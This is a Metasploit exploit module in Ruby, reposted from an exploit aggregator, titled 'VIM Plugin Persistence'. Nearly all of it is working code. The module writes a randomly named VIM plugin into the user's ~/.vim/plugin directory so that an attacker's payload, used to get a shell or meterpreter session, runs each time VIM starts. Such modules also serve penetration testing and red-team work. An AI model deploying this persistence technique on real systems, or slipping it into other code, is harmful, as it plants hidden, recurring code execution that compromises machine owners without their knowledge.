Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-PERSISTENCE-VIM_PLUGIN-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VIM Plugin Persistence',
        'Description' => %q{
          This module creates a VIM Plugin which executes a payload on VIM startup.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_CMD ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Targets' => [[ 'Auto', {} ]],
        'References' => [
          [ 'URL', 'https://vimways.org/2019/writing-vim-plugin/'],
          [ 'URL', 'https://www.linode.com/docs/guides/writing-a-vim-plugin/'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS]
        ],
        'DisclosureDate' => '1991-11-03', # VIM release date
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )
    register_advanced_options [
      OptString.new('NAME', [ false, 'Name of the extension. Defaults to random'])
    ]
  end

  def check
    return CheckCode::Safe('VIM is required') unless command_exists?('vim')

    CheckCode::Detected('VIM is installed')
  end

  def plugin_name
    return datastore['NAME'] unless datastore['NAME'].blank?

    Rex::Text.rand_text_alpha(5..10)
  end

  def get_home
    return cmd_exec('echo ~').strip
  end

  def install_persistence
    plugin = plugin_name
    vim_plugin = File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'vim_plugin', 'plugin.vim'
    ))
    vim_plugin = vim_plugin.gsub('PAYLOAD_PLACEHOLDER', payload.encoded.gsub(';./', ';nohup ./')) # already run async
    vim_plugin = vim_plugin.gsub('NAME', plugin)

    path = "#{get_home}/.vim/plugin"
    mkdir(path, cleanup: false) unless directory?(path)
    path = "#{path}/#{plugin}.vim"
    vprint_status("Writing plugin to #{path}")
    unless write_file(path, vim_plugin)
      fail_with(Failure::UnexpectedReply, "Failed to write VIM plugin to #{path}")
    end
    @clean_up_rc = "rm #{path}\n"
  end
end